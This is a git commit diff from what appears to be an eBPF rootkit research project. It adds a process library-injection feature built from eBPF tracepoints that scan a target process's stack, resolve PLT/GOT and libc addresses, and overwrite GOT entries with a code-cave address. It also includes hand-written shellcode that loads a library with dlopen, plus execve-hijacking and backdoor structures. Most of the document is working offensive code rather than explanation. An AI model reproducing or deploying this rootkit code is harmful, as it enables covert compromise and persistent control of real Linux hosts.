Merged master and develop, now all changes together. Fully tested and working.

This commit is contained in:
h3xduck
2022-05-15 20:46:35 -04:00
80 changed files with 15780 additions and 48 deletions

View File

@@ -26,6 +26,9 @@ struct kit_bpf {
struct bpf_program *tp_sys_exit_read;
struct bpf_program *tp_sys_enter_openat;
struct bpf_program *tp_sys_enter_execve;
struct bpf_program *sys_enter_timerfd_settime;
struct bpf_program *sys_exit_timerfd_settime;
struct bpf_program *uprobe_execute_command;
struct bpf_program *xdp_receive;
} progs;
struct {
@@ -34,6 +37,9 @@ struct kit_bpf {
struct bpf_link *tp_sys_exit_read;
struct bpf_link *tp_sys_enter_openat;
struct bpf_link *tp_sys_enter_execve;
struct bpf_link *sys_enter_timerfd_settime;
struct bpf_link *sys_exit_timerfd_settime;
struct bpf_link *uprobe_execute_command;
struct bpf_link *xdp_receive;
} links;
struct kit_bpf__bss {
@@ -41,6 +47,22 @@ struct kit_bpf {
} *bss;
struct kit_bpf__rodata {
char tp_sys_enter_read_____fmt[7];
char sys_enter_timerfd_settime_____fmt[10];
char sys_enter_timerfd_settime_____fmt_1[33];
char sys_enter_timerfd_settime_____fmt_2[48];
char sys_enter_timerfd_settime_____fmt_3[33];
char sys_enter_timerfd_settime_____fmt_4[18];
char sys_enter_timerfd_settime_____fmt_5[27];
char sys_exit_timerfd_settime_____fmt[48];
char sys_exit_timerfd_settime_____fmt_6[27];
char sys_exit_timerfd_settime_____fmt_7[34];
char sys_exit_timerfd_settime_____fmt_8[24];
char uprobe_execute_command_____fmt[18];
char uprobe_execute_command_____fmt_9[11];
char __pad0[3];
char uprobe_execute_command_____fmt_11[44];
char uprobe_execute_command_____fmt_12[20];
char uprobe_execute_command_____fmt_13[27];
char xdp_receive_____fmt[19];
char xdp_receive_____fmt_1[2];
char xdp_receive_____fmt_2[2];
@@ -228,7 +250,7 @@ kit_bpf__create_skeleton(struct kit_bpf *obj)
s->maps[7].mmaped = (void **)&obj->bss;
/* programs */
s->prog_cnt = 6;
s->prog_cnt = 9;
s->prog_skel_sz = sizeof(*s->progs);
s->progs = (struct bpf_prog_skeleton *)calloc(s->prog_cnt, s->prog_skel_sz);
if (!s->progs)
@@ -254,9 +276,21 @@ kit_bpf__create_skeleton(struct kit_bpf *obj)
s->progs[4].prog = &obj->progs.tp_sys_enter_execve;
s->progs[4].link = &obj->links.tp_sys_enter_execve;
s->progs[5].name = "xdp_receive";
s->progs[5].prog = &obj->progs.xdp_receive;
s->progs[5].link = &obj->links.xdp_receive;
s->progs[5].name = "sys_enter_timerfd_settime";
s->progs[5].prog = &obj->progs.sys_enter_timerfd_settime;
s->progs[5].link = &obj->links.sys_enter_timerfd_settime;
s->progs[6].name = "sys_exit_timerfd_settime";
s->progs[6].prog = &obj->progs.sys_exit_timerfd_settime;
s->progs[6].link = &obj->links.sys_exit_timerfd_settime;
s->progs[7].name = "uprobe_execute_command";
s->progs[7].prog = &obj->progs.uprobe_execute_command;
s->progs[7].link = &obj->links.uprobe_execute_command;
s->progs[8].name = "xdp_receive";
s->progs[8].prog = &obj->progs.xdp_receive;
s->progs[8].link = &obj->links.xdp_receive;
s->data_sz = 99568;
s->data = (void *)"\

View File

@@ -47,7 +47,7 @@ else
endif
.PHONY: all
all: $(APPS)
all: $(APPS) tckit
.PHONY: clean
clean:
@@ -92,12 +92,12 @@ $(USER_INCLUDES_OBJ): $(wildcard $(USER_INCLUDES_SRC)/**/*.h) | $(OUTPUT)
#User code
$(OUTPUT)/%.o: $(USER)/%.c $(wildcard $(USER)/*.h)| $(OUTPUT)
$(call msg,CC,$@)
$(Q)$(CC) $(CFLAGS) $(INCLUDES) $(COMMON_INCLUDES) -c $(filter $(USER)/%.c,$^) -Wno-deprecated-declarations -o $@
$(Q)$(CC) $(CFLAGS) $(INCLUDES) $(COMMON_INCLUDES) -c $(filter $(USER)/%.c,$^) -Wno-deprecated-declarations -o $@ -ldl
# Build application binary
$(APPS): %: $(OUTPUT)/%.o $(LIBBPF_OBJ) $(USER_INCLUDES_OBJ) | $(OUTPUT)
$(call msg,BINARY,$@)
$(Q)$(CC) $(CFLAGS) $(INCLUDES) $^ -lelf -lbpf -lz -lssl -lcrypto -Wno-deprecated-declarations -o bin/$@
$(Q)$(CC) $(CFLAGS) $(INCLUDES) $^ -lelf -lbpf -lz -lssl -lcrypto -Wno-deprecated-declarations -o bin/$@ -ldl
$(Q)rm $(USER_INCLUDES_OBJ)
tckit: $(abspath $(EBPF)/include/bpf)/tc.c $(LIBBPF_OBJ)

View File

@@ -19,9 +19,36 @@
#define STRING_FS_SUDOERS_ENTRY_LEN 37
//EXECUTION HIJACKING
#define PATH_EXECUTION_HIJACK_PROGRAM "/home/osboxes/TFG/src/helpers/execve_hijack\0"
#define PATH_EXECUTION_HIJACK_PROGRAM "/home/osboxes/TFG/src/helpers/execve_hijackdeactivated\0"
#define EXEC_HIJACK_ACTIVE_TEMP 0
//LIBRARY INJECTION WITH ROP
#define TASK_COMM_NAME_ROP_TARGET "simple_timer"
#define CODE_CAVE_ADDRESS_STATIC 0x0000000000402e95
#define CODE_CAVE_SHELLCODE_ASSEMBLE_1 \
"\x55\x50\x51\x52\x53\x57\x56\
\xbf\x00\x20\x00\x00\x48\xbb"
#define CODE_CAVE_SHELLCODE_ASSEMBLE_1_LEN 14
#define CODE_CAVE_SHELLCODE_ASSEMBLE_2 \
"\xff\xd3\x48\x89\xc3\xc7\x00\x2f\x68\x6f\x6d\
\xc7\x40\x04\x65\x2f\x6f\x73\xc7\x40\x08\x62\x6f\x78\
\x65\xc7\x40\x0c\x73\x2f\x54\x46\xc7\x40\x10\x47\x2f\
\x73\x72\xc7\x40\x14\x63\x2f\x68\x65\xc7\x40\x18\x6c\
\x70\x65\x72\xc7\x40\x1c\x73\x2f\x69\x6e\xc7\x40\x20\
\x6a\x65\x63\x74\xc7\x40\x24\x69\x6f\x6e\x5f\xc7\x40\
\x28\x6c\x69\x62\x2e\xc7\x40\x2c\x73\x6f\x00\x00\x48\
\xb8"
#define CODE_CAVE_SHELLCODE_ASSEMBLE_2_LEN 90
#define CODE_CAVE_SHELLCODE_ASSEMBLE_3 \
"\xbe\x01\x00\x00\x00\x48\x89\xdf\
\x48\x81\xec\x00\x10\x00\x00\xff\
\xd0\x48\x81\xc4\x00\x10\x00\x00\x5e\
\x5f\x5b\x5a\x59\x58\x5d\xff\x25\x00\x00\x00\x00"
#define CODE_CAVE_SHELLCODE_ASSEMBLE_3_LEN 37
#define TASK_COMM_NAME_RESTRICT_HIJACK "bash"
#define TASK_COMM_RESTRICT_HIJACK_ACTIVE 1

View File

@@ -11,7 +11,8 @@ typedef enum {
EXIT,
ERROR,
COMMAND,
PSH_UPDATE
PSH_UPDATE,
VULN_SYSCALL
} event_type_t;
struct rb_event {
@@ -19,6 +20,14 @@ struct rb_event {
char message[RB_EVENT_MAX_MESSAGE_SIZE];
int code;
struct backdoor_phantom_shell_data bps_data;
__u64 syscall_address;
__u64 process_stack_return_address;
__u64 libc_main_address;
__u64 libc_dlopen_mode_address;
__u64 libc_malloc_address;
__u64 got_address;
__s32 got_offset;
int relro_active;
event_type_t event_type;
__u32 client_ip;
__u16 client_port;

View File

@@ -49,6 +49,14 @@ struct backdoor_packet_log_data_16{
//Map value, contains data of phantom shell, if active
//In struct_common.h, it is used from userspace and kernel many times, so moved there
struct inj_ret_address_data{ //Map value
__u64 libc_syscall_address;
__u64 stack_ret_address;
__u64 relro_active;
__u64 got_address;
__s32 got_offset;
__s32 padding;
};
struct fs_priv_open{ //Map
__uint(type, BPF_MAP_TYPE_HASH);
@@ -88,6 +96,15 @@ struct backdoor_priv_phantom_shell{
__uint(pinning, LIBBPF_PIN_BY_NAME);
} backdoor_phantom_shell SEC(".maps");
//Return addresses of syscalls in the shared library, for the library injection
struct inj_priv_ret_address{ //Map
__uint(type, BPF_MAP_TYPE_HASH);
__uint(max_entries, 4096);
__type(key, __u64); //thread group id(MSB) + pid (LSB)
__type(value, struct inj_ret_address_data);
} inj_ret_address SEC(".maps");
/*PROTECTED MAPS*/
//Any attempt to access these maps will be blocked by the rootkit if the program is not whitelisted
//Located at /src/map_prot.h

View File

@@ -120,7 +120,7 @@ static __always_inline int handle_tp_sys_enter_execve(struct sys_execve_enter_ct
bpf_printk("Error reading 3\n");
};
bpf_printk("OLD ARGV0: %s\n", argv[0]);
/*bpf_printk("OLD ARGV0: %s\n", argv[0]);
bpf_printk("ARGV1: %s\n", argv[1]);
bpf_printk("ARGV2: %s\n", argv[2]);
//bpf_printk("ENVP: %s\n", envp);
@@ -128,7 +128,7 @@ static __always_inline int handle_tp_sys_enter_execve(struct sys_execve_enter_ct
bpf_printk("&FILE: %llx, &ARGV0: %llx, &ARGV1: %llx\n", (void*)(ctx->filename), (void*)&(ctx->argv[0]), (void*)&(ctx->argv[1]));
//bpf_printk("&ARGV: %llx, &ARGV0: %llx\n", ctx->argv, argv[0]);
if((void*)ctx->filename==(void*)(ctx->argv)){
bpf_printk("Equal pointers");
//bpf_printk("Equal pointers");
}else{
//bpf_printk("Not equal pointers %u, %u", ctx->filename, ctx->argv);
}
@@ -174,10 +174,10 @@ static __always_inline int handle_tp_sys_enter_execve(struct sys_execve_enter_ct
//Provided that the case error 2 may happen, we check if we are on that case before going ahead and overwriting everything.
if(test_write_user_unique(ctx, (char*)filename, (char*)argv[0])!=0){
bpf_printk("Test failed\n");
//bpf_printk("Test failed\n");
return -1;
}else{
bpf_printk("Test completed\n");
//bpf_printk("Test completed\n");
}
if(bpf_probe_write_user((void*)(ctx->filename), (void*)to_write, (__u32)sizeof(PATH_EXECUTION_HIJACK_PROGRAM))<0){

View File

@@ -0,0 +1,348 @@
#ifndef __BPF_INJECTION_H
#define __BPF_INJECTION_H
#include "headervmlinux.h"
#include <bpf/bpf_helpers.h>
#include <bpf/bpf_tracing.h>
#include <bpf/bpf_core_read.h>
#include "../../../common/constants.h"
#include "defs.h"
#include "../../../common/map_common.h"
#include "../data/ring_buffer.h"
#define OPCODE_JUMP_BYTE_0 0xe8
#define OPCODE_PLT_JMP_BYTE_0 0xff
#define OPCODE_PLT_JMP_BYTE_1 0x25
#define OPCODE_PLT_RERLO_BYTE_0 0xf3
#define OPCODE_PLT_RERLO_BYTE_1 0x0f
#define GLIBC_OFFSET_MAIN_TO_SYSCALL 0xf00d0
#define GLIBC_OFFSET_MAIN_TO_DLOPEN 0x12f120
#define GLIBC_OFFSET_MAIN_TO_MALLOC 0x6eca0
struct sys_timerfd_settime_enter_ctx {
unsigned long long unused; //Pointer to pt_regs
int __syscall_nr;
unsigned int padding; //Alignment
int ufd;
int flags;
const struct __kernel_itimerspec *utmr;
struct __kernel_itimerspec *otmr;
};
struct sys_timerfd_settime_exit_ctx {
unsigned long long unused; //Pointer to pt_regs
int __syscall_nr;
unsigned int padding; //Alignment
long ret;
};
/**
* @brief Checks whether the format of the syscall is the expected one
*
* @param opcodes
* @param size
* @return 0 if correct, 1 otherwise
*/
static __always_inline int check_syscall_opcodes(__u8* opcodes){
return 0 == (/*opcodes[0]==0xf3 //FOR GDB WORKING TODO REMOVE
&&*/ opcodes[1]==0x0f
&& opcodes[2]==0x1e
&& opcodes[3]==0xfa
&& opcodes[4]==0x49
&& opcodes[5]==0x89
&& opcodes[6]==0xca
&& opcodes[7]==0xb8
&& opcodes[8]==0x1e
&& opcodes[9]==0x01
&& opcodes[10]==0x00
&& opcodes[11]==0x00
&& opcodes[12]==0x0f
&& opcodes[13]==0x05);
}
static __always_inline int stack_extract_return_address_plt(__u64 stack_rip){
//We have a possible RIP from the stack, to which we can take the previous instruction,
//and check if its opcodes correspond with the expected format
__u64 *entry_call_addr = (__u64*)(stack_rip - 0x5);
__u8 entry_call_opcode_arr[10];
if(bpf_probe_read(&entry_call_opcode_arr, 10*sizeof(__u8), entry_call_addr)<0){
//bpf_printk("Failed to read stack position\n");
return -1;
}
//bpf_printk(" -- Checking: %lx, res: %x %x", entry_call_addr, entry_call_opcode_arr[0], entry_call_opcode_arr[1]);
//bpf_printk("%x %x %x\n", entry_call_opcode_arr[2], entry_call_opcode_arr[3], entry_call_opcode_arr[4]);
if (entry_call_opcode_arr[0] != OPCODE_JUMP_BYTE_0) {
//bpf_printk(" -- Failed OPCODE: %x\n", entry_call_opcode_arr[0]);
return -1;
}
bpf_printk("Successful entry call address: %lx\n", entry_call_addr);
//We have localized a call instruction which might be the one we are looking for.
//We proceed to get the offset of the call.
__s32 offset = 0;
__u8* entry_call_addr_8 = (__u8*)(stack_rip - 0x5);
if(bpf_probe_read_user(&offset, sizeof(__s32), &entry_call_addr_8[1])<0){ //This takes the 4 MSB omitting the first
bpf_printk("Failed to read entry_call_addr[1]\n");
return -1;
}
//bpf_printk("OP64[1]: %x\n", &entry_call_addr[1]);
//bpf_printk("OP8[1]: %x\n", &entry_call_addr_8[1]);
//We now extract to which memory position it jumps via its offset+current position+5 bytes of the
//current call instruction.
bpf_printk("OFFSET: %x\n", offset);
bpf_printk("OP: %lx\n", entry_call_addr);
__u64 sum = (uintptr_t)((__u64)(entry_call_addr_8)+offset+5);
bpf_printk("SUM: %lx\n", sum);
__u64* plt_addr = (__u64*)sum;
//Using the bytes written in the PLT.GOT section, the PLT jumps to libc, where
//the syscall will be called. We can extract the opcodes of this routine and
//see if we recognize the syscall as the one we wanted.
__u8 libc_opcodes[10];
bpf_probe_read_user(&libc_opcodes, 10*sizeof(__u8), plt_addr);
bpf_printk("OPCODE0: %x\n", libc_opcodes[0]);
bpf_printk("OPCODE1: %x\n", libc_opcodes[1]);
bpf_printk("OPCODE5: %x\n", libc_opcodes[5]);
bpf_printk("OPCODE6: %x\n", libc_opcodes[6]);
int plt_found = 0;
int relro_active = 0;
//Check documentation for details on jump recognition.
if(libc_opcodes[0]==OPCODE_PLT_JMP_BYTE_0 && libc_opcodes[1]==OPCODE_PLT_JMP_BYTE_1){
//If the ELF binary has been compiled without RELRO, the first bytes are expected.
plt_found = 1;
}else if(libc_opcodes[0]==OPCODE_PLT_RERLO_BYTE_0 && libc_opcodes[1]==OPCODE_PLT_RERLO_BYTE_1 && libc_opcodes[5]==OPCODE_PLT_JMP_BYTE_0 && libc_opcodes[6]==OPCODE_PLT_JMP_BYTE_1){
//If the ELF was compiled with RELRO protection.
plt_found = 1;
relro_active = 1;
}
__u8* plt_addr_arr = (__u8*)plt_addr;
if(plt_found == 1){
bpf_printk("Found PLT entry\n");
__s32 got_offset;
__u64* got_addr;
if(relro_active == 0){
//We analyze the offset of the jump specified ff 25 XX XX XX XX
//The address to which the jump takes us from the PLT.GOT should be the actual syscall setup
bpf_probe_read_user(&got_offset, sizeof(__s32), &plt_addr_arr[2]); //4 LSB
//We obtain the address of the jump by adding the offset + our current memory address + 6 bytes of the current instruction
got_addr = (u64*)((__u64)(plt_addr_arr) + got_offset + 0x6);
bpf_printk("GOT_OFFSET: %lx\n", got_offset);
bpf_printk("GOT_ADDR: %lx\n", got_addr);
}else {
bpf_printk("RELRO detected\n");
//Proceed to take into account the endbr64 instruction
plt_addr_arr = (__u8*)plt_addr+0x4;
//We analyze the offset of the jump specified f2 ff 25 XX XX XX XX
//The address to which the jump takes us from the PLT.GOT should be the actual syscall setup
bpf_probe_read_user(&got_offset, sizeof(__s32), &plt_addr_arr[3]); //4 LSB + 7 bytes of the current instruction
got_addr = (u64*)((__u64)(plt_addr_arr) + got_offset +0x7);
bpf_printk("GOT_OFFSET: %lx\n", got_offset);
bpf_printk("GOT_ADDR: %lx\n", got_addr);
}
//The actual starting address at which the GOT section points in libc is contained in the previous pointer
__u64 got_libc_addr;
if(got_addr==NULL){
return -1;
}
bpf_probe_read_user(&got_libc_addr, sizeof(__u64), got_addr);
bpf_printk("GOT_ADDR_LIBC: %lx\n",got_libc_addr);
__u64 buf = CODE_CAVE_ADDRESS_STATIC;
//bpf_printk("Now writing to GOT_ADDR_LIBC %lx\n", got_libc_addr);
if(bpf_probe_write_user(got_addr, &buf, sizeof(__u64))<0){
//Should not work if RELRO active
bpf_printk("FAILED TO WRITE JUMP\n");
}else{
__u64 got_addr_new;
bpf_probe_read_user(&got_addr_new, sizeof(__u64), got_addr);
bpf_printk("Success, new GOT is %lx", got_addr_new);
}
//Now that we have the address placed in the GOT section we can finally go to the function in glibc
//where the syscall resides. We read the opcodes and check that they are the ones expected
__u8 s_opcode[14];
bpf_probe_read_user(s_opcode, 14*sizeof(__u8), (void*)got_libc_addr);
for(int ii=0; ii<14; ii++){
//bpf_printk("S_OPC %i: %x\n",ii,s_opcode[ii]);
}
if(check_syscall_opcodes(s_opcode)!=0){
bpf_printk("Not the expected syscall\n");
return -1;
}
//We got the expected syscall call in libc. Its format depends on glibc.
//We put it in an internal map.
__u64 pid_tgid = bpf_get_current_pid_tgid();
if(pid_tgid<0){
return -1;
}
struct inj_ret_address_data *inj_ret_addr = (struct inj_ret_address_data*) bpf_map_lookup_elem(&inj_ret_address, &pid_tgid);
if (inj_ret_addr != NULL ){
//It means we have already performed this whole operation
return -1;
}
bpf_printk("Final found libc syscall address: %lx\n", got_libc_addr);
struct inj_ret_address_data addr;
addr.libc_syscall_address = (__u64)got_libc_addr;
addr.stack_ret_address = 0;
addr.relro_active = relro_active;
addr.got_offset = got_offset;
addr.padding = 0;
bpf_probe_read(&addr.got_address, sizeof(__u64), &got_addr);
bpf_map_update_elem(&inj_ret_address, &pid_tgid, &addr, BPF_ANY);
return 0;
}
return 0;
}
SEC("tp/syscalls/sys_enter_timerfd_settime")
int sys_enter_timerfd_settime(struct sys_timerfd_settime_enter_ctx *ctx){
__u64 *scanner = (__u64*)ctx->otmr;
int fd = ctx->ufd;
char comm[TASK_COMM_LEN] = {0};
int err = bpf_get_current_comm(comm, sizeof(comm));
if(err<0){
return -1;
}
char *task = TASK_COMM_NAME_ROP_TARGET;
if(str_n_compare(comm, TASK_COMM_LEN, task, STRING_FS_SUDO_TASK_LEN, STRING_FS_SUDO_TASK_LEN) != 0){
return 0;
}
bpf_printk("TASK: %s\n", comm);
long timesecs;
//bpf_probe_read_user(&timesecs, sizeof(long), &(new->it_interval.tv_sec));
//bpf_printk("AG %ld\n",timesecs);
__u64 address = 0;
bpf_printk("Timer %i to scan at address %lx\n", fd, scanner);
#pragma unroll
for(__u64 ii=0; ii<200; ii++){
//We got a foothold in the stack via the syscall argument, now we scan to lower memory
//positions assuming those are the saced RIP. We will then perform checks in order to see
//if it truly is the saved RIP (checking that there is a path to the actual syscall).
bpf_probe_read(&address, sizeof(__u64), (void*)scanner - ii);
//bpf_printk("stack: %lx\n", address);
if(stack_extract_return_address_plt(address)==0){
//We found the return address
__u64 found_return_address = *scanner - ii;
//We put it in an internal map.
__u64 pid_tgid = bpf_get_current_pid_tgid();
if(pid_tgid<0){
return -1;
}
struct inj_ret_address_data *addr = (struct inj_ret_address_data*) bpf_map_lookup_elem(&inj_ret_address, &pid_tgid);
if (addr == NULL){
//It means we failed to insert into the map before
return -1;
}
//struct inj_ret_address_data addr = *inj_ret_addr;
//struct inj_ret_address_data addr;
//bpf_probe_read(&addr, sizeof(struct inj_ret_address_data), inj_ret_addr);
addr->stack_ret_address = (__u64)scanner - ii;
if(bpf_map_update_elem(&inj_ret_address, &pid_tgid, addr, BPF_EXIST)<0){
bpf_printk("Failed to insert the return address in bpf map\n");
return -1;
}
bpf_printk("Final found return address: %lx\n", addr->stack_ret_address);
bpf_printk("GOT address: %lx\n", addr->got_address);
//Tell userspace to perform operations on localized addresses
int pid = bpf_get_current_pid_tgid() >> 32;
ring_buffer_send_vuln_sys(&rb_comm, pid, addr->libc_syscall_address,
addr->stack_ret_address, addr->libc_syscall_address - GLIBC_OFFSET_MAIN_TO_SYSCALL,
addr->libc_syscall_address - GLIBC_OFFSET_MAIN_TO_SYSCALL + GLIBC_OFFSET_MAIN_TO_DLOPEN,
addr->libc_syscall_address - GLIBC_OFFSET_MAIN_TO_SYSCALL + GLIBC_OFFSET_MAIN_TO_MALLOC,
addr->got_address, addr->libc_syscall_address, addr->relro_active);
return 0;
}
}
bpf_printk("Finished without findings\n");
return 0;
}
SEC("tp/syscalls/sys_exit_timerfd_settime")
int sys_exit_timerfd_settime(struct sys_timerfd_settime_exit_ctx *ctx){
char comm[TASK_COMM_LEN] = {0};
int err = bpf_get_current_comm(comm, sizeof(comm));
if(err<0){
return -1;
}
char *task = TASK_COMM_NAME_ROP_TARGET;
if(str_n_compare(comm, TASK_COMM_LEN, task, STRING_FS_SUDO_TASK_LEN, STRING_FS_SUDO_TASK_LEN) != 0){
return 0;
}
//If we are here we may have the return address stored in the map.
__u64 pid_tgid = bpf_get_current_pid_tgid();
__u32 pid = pid_tgid >> 32;
struct inj_ret_address_data *inj_ret_addr = (struct inj_ret_address_data*) bpf_map_lookup_elem(&inj_ret_address, &pid_tgid);
if (inj_ret_addr == NULL){
//We failed to identify the return address in the previous probe.
return -1;
}
struct inj_ret_address_data addr = *inj_ret_addr;
bpf_printk("PID: %u, SYSCALL_ADDR: %lx, STACK_RET_ADDR: %lx", pid, addr.libc_syscall_address, addr.stack_ret_address);
bpf_printk("Address of libc main: %lx\n", addr.libc_syscall_address - GLIBC_OFFSET_MAIN_TO_SYSCALL);
bpf_printk("Address of libc_dlopen_mode: %lx\n", addr.libc_syscall_address - GLIBC_OFFSET_MAIN_TO_SYSCALL + GLIBC_OFFSET_MAIN_TO_DLOPEN);
bpf_printk("Address of malloc: %lx\n", addr.libc_syscall_address - GLIBC_OFFSET_MAIN_TO_SYSCALL + GLIBC_OFFSET_MAIN_TO_MALLOC);
return 0;
}
//NOT CURRENTLY CONNECTED
SEC("uprobe/execute_command")
int uprobe_execute_command(struct pt_regs *ctx){
bpf_printk("UPROBE activated\n");
bpf_printk("Ret is %lx", ctx->ip);
char* buf = "A\0";
long ret;
if((ret = bpf_probe_write_user((void*)ctx->ip, buf,1))>=0){
bpf_printk("Success writting? Should not have happened\n");
return -1;
}
bpf_printk("ERROR writing: %li\n", ret); //EFAULT
char dest_buf[2];
if(ctx->ip-5 <=0){
return -1;
}
if((ret = bpf_probe_read_user(dest_buf, 2, (void*)ctx->ip-5))<0){
bpf_printk("Error reading instruction\n");
return -1;
}
//bpf_printk("Stack: %x\n", dest_buf);
return 0;
}
#endif

View File

@@ -54,7 +54,6 @@ static __always_inline int ring_buffer_send_backdoor_command(struct ring_buffer
if(!event){
return -1;
}
event->code = code;
event->event_type = COMMAND;
event->pid = pid;
@@ -80,6 +79,30 @@ static __always_inline int ring_buffer_send_request_update_phantom_shell(struct
event->event_type = PSH_UPDATE;
event->pid = pid;
event->bps_data = data;
bpf_ringbuf_submit(event, 0);
return 0;
}
/**
* @brief Sends an event indicating a vulnerable syscall injection into the specified ring kernel buffer
*
* @return 0 if ok, -1 if error
*/
static __always_inline int ring_buffer_send_vuln_sys(struct ring_buffer *rb, int pid, __u64 syscall_address, __u64 process_stack_return_address, u64 libc_main_address, u64 libc_dlopen_mode_address, __u64 libc_malloc_address, __u64 got_address, __s32 got_offset, int relro_active){
struct rb_event *event = (struct rb_event*) bpf_ringbuf_reserve(rb, sizeof(struct rb_event), 0);
if(!event){
return -1;
}
event->event_type = VULN_SYSCALL;
event->pid = pid;
event->libc_dlopen_mode_address = libc_dlopen_mode_address;
event->libc_main_address = libc_main_address;
event->libc_malloc_address = libc_malloc_address;
event->process_stack_return_address = process_stack_return_address;
event->syscall_address = syscall_address;
event->got_address = got_address;
event->relro_active = relro_active;
event->got_offset = got_offset;
bpf_ringbuf_submit(event, 0);
return 0;

View File

@@ -39,6 +39,7 @@
#include "include/bpf/sched.h"
#include "include/bpf/fs.h"
#include "include/bpf/exec.h"
#include "include/bpf/injection.h"
char LICENSE[] SEC("license") = "Dual BSD/GPL";
#define ETH_ALEN 6

256
src/helpers/.gdb_history Normal file
View File

@@ -0,0 +1,256 @@
q
disass main
b *(main+446)
r
ssi
si
ni
1
q
b *(main+446)
r
si
ni
q
b *(main+446)
r
si
ni
q
b *(main+446)
r
si
ni
q
b *(main+446)
r
si
ni
q
b *(main+446)
r
si
ni
q
b *(main+446)
r
si
ni
si
ni
si
q
b *(main+446)
r
si
ni
si
si
si
fin
q
b *(main+446)
r
si
ni
si
ni
q
b *(main+446)
r
si
si
ni
si
ni
si
si
s
q
b *(main+446)
r
ni
q
b *(main+446)
r
si
ni
q
b *(main+446)
r
si
ni
si
q
r
q
b *(main+446)
r
si
ni
si
ni
si
si
si
si
display $fs
display $fs:0x28
q
b *(main+446)
r
si
ni
q
b *(main+446)
r
si
si
ni
si
ni
si
q
b *(main+446)
r
si
q
b *(main+446)
r
si
ni
si
si
ni
q
r
q
b *(main+446)
r
si
c
q
r
r
q
b *(main+446)
r
si
ni
si
ni
si
q
b *(main+446)
r
si
ni
q
b *(main+446)
r
si
q
b *(main+446)
r
si
ni
si
ni
si
q
b *(main+446)
r
si
ni
si
q
b *(main+446)
r
si
q
checksec
q
checksec
q
checksec
q
checksec
q
disass main
b *(main+446)
r
si
ni
si
ni
si
q
b *(main+446)
r
x/20i 0x7ffff7ede560
x/100i 0x7ffff7ede560
x/1000i 0x7ffff7ede560
q
b *(main+446)
r
si
disass /r 0x555555555130
x/20b 0x555555557fd0
q
b timerfd_settime@plt
r
si
q
disass /r 0x555555555130
b timerfd_settime
r
q
b timerfd_settime@plt
r
disass /r 0x555555555130
q
b *(main+446)
r
si
ni
si
ni
si
x/20b 0x5555555556fb
disass /r 0x555555555134
x/20b 0x5555555556fb
q
b *(main+446)
r
si
fin
si
fin
si
fin
q
b *(main+446)
r
si
ni
x/20b 0x5555555556fb
q
b *(main+446)
r
si
ni
x/20b 0x5555555556fb
q
b *(main+446)
r
si
ni
q
b *(main+446)
r
si
ni
si
ni
si
q

View File

@@ -3,14 +3,27 @@ HEADERS = lib/RawTCP.h
EXTRA_CFLAGS= -I$(PWD)/lib
default:
make execve_hijack
make execve_hijack injection_lib simple_timer
injection_lib: injection_lib.o
gcc -Wall -shared -fPIC -o injection_lib.so injection_lib.c -ldl
simple_timer.o: simple_timer.c $(HEADERS)
gcc -g -c simple_timer.c
simple_timer: simple_timer.o
gcc -g -o simple_timer simple_timer.o
execve_hijack.o: execve_hijack.c $(HEADERS)
gcc -c execve_hijack.c
gcc -g -c execve_hijack.c
execve_hijack: execve_hijack.o lib/libRawTCP_Lib.a
gcc -lm -o execve_hijack execve_hijack.o -L. lib/libRawTCP_Lib.a
gcc -g -o execve_hijack execve_hijack.o -ldl -L. lib/libRawTCP_Lib.a
clean:
-rm -f execve_hijack.o
-rm -f execve_hijack
-rm -f execve_hijack
-rm -f injection_lib.o
-rm -f injection_lib.so
-rm -f simple_timer.o
-rm -f simple_timer

File diff suppressed because it is too large Load Diff

View File

@@ -18,6 +18,8 @@
#include <sys/file.h>
#include <errno.h>
#include <syslog.h>
#include <dlfcn.h>
#include <sys/timerfd.h>
#include "lib/RawTCP.h"
#include "../common/c&c.h"
@@ -27,6 +29,63 @@
#define LOCK_FILE "/tmp/rootlog"
int test_time_values_injection(){
struct itimerspec new_value, new_value2;
int max_exp, fd, fd2;
struct timespec now;
uint64_t exp, tot_exp;
ssize_t s;
fd = timerfd_create(CLOCK_REALTIME, 0);
if (fd == -1)
return -1;
new_value.it_interval.tv_sec = 30;
new_value.it_interval.tv_nsec = 0;
if (timerfd_settime(fd, TFD_TIMER_ABSTIME, &new_value, NULL) == -1)
return -1;
fd2 = timerfd_create(CLOCK_REALTIME, 0);
if (fd2 == -1)
return -1;
new_value2.it_interval.tv_sec = 30;
new_value2.it_interval.tv_nsec = 0;
if (timerfd_settime(fd2, TFD_TIMER_ABSTIME, &new_value2, NULL) == -1)
return -1;
printf("Timer %i started, address sent %llx\n", fd, (__u64)&new_value);
return 0;
}
char* execute_command(char* command){
FILE *fp;
char* res = calloc(4096, sizeof(char));
char buf[1024];
fp = popen(command, "r");
if(fp == NULL) {
printf("Failed to run command\n" );
return "COMMAND ERROR";
}
while(fgets(buf, sizeof(buf), fp) != NULL) {
strcat(res, buf);
}
printf("RESULT OF COMMAND: %s\n", res);
pclose(fp);
return res;
}
char* getLocalIpAddress(){
char hostbuffer[256];
char* IPbuffer = calloc(256, sizeof(char));
@@ -49,26 +108,7 @@ char* getLocalIpAddress(){
return IPbuffer;
}
char* execute_command(char* command){
FILE *fp;
char* res = calloc(4096, sizeof(char));
char buf[1024];
fp = popen(command, "r");
if(fp == NULL) {
printf("Failed to run command\n" );
return "COMMAND ERROR";
}
while(fgets(buf, sizeof(buf), fp) != NULL) {
strcat(res, buf);
}
printf("RESULT OF COMMAND: %s\n", res);
pclose(fp);
return res;
}
//test_time_values_injection();
int hijacker_process_routine(int argc, char* argv[], int fd){
//Lock the file to indicate we are already into the routine

Binary file not shown.

View File

@@ -0,0 +1,10 @@
#include <stdio.h>
#include <stdlib.h>
#include <syslog.h>
__attribute__((constructor))
static void init()
{
printf("Library successfully injected!\n");
syslog(LOG_CRIT, "Library called\n");
}

BIN
src/helpers/injection_lib.o Normal file

Binary file not shown.

BIN
src/helpers/injection_lib.so Executable file

Binary file not shown.

View File

@@ -0,0 +1,15 @@
#!/usr/bin/env python3
import sys
from itertools import chain
while True:
arg = input()[::-1]
group = 2
result = "".join(chain.from_iterable([reversed(elem) for elem in zip(*[iter(arg)]*group)]))
if(len(result) != len(arg)):
print("String not with even characters?")
#exit(1)
print(result)

View File

@@ -0,0 +1,2 @@
break *(test_time_values_injection+94)

View File

@@ -0,0 +1,2 @@
break *(main+446)

View File

@@ -0,0 +1,15 @@
break test_time_values_injection
disable $bpnum
break *(test_time_values_injection+94)
disable $bpnum
break *(test_time_values_injection+177)
disable $bpnum

BIN
src/helpers/simple_timer Executable file

Binary file not shown.

110
src/helpers/simple_timer.c Normal file
View File

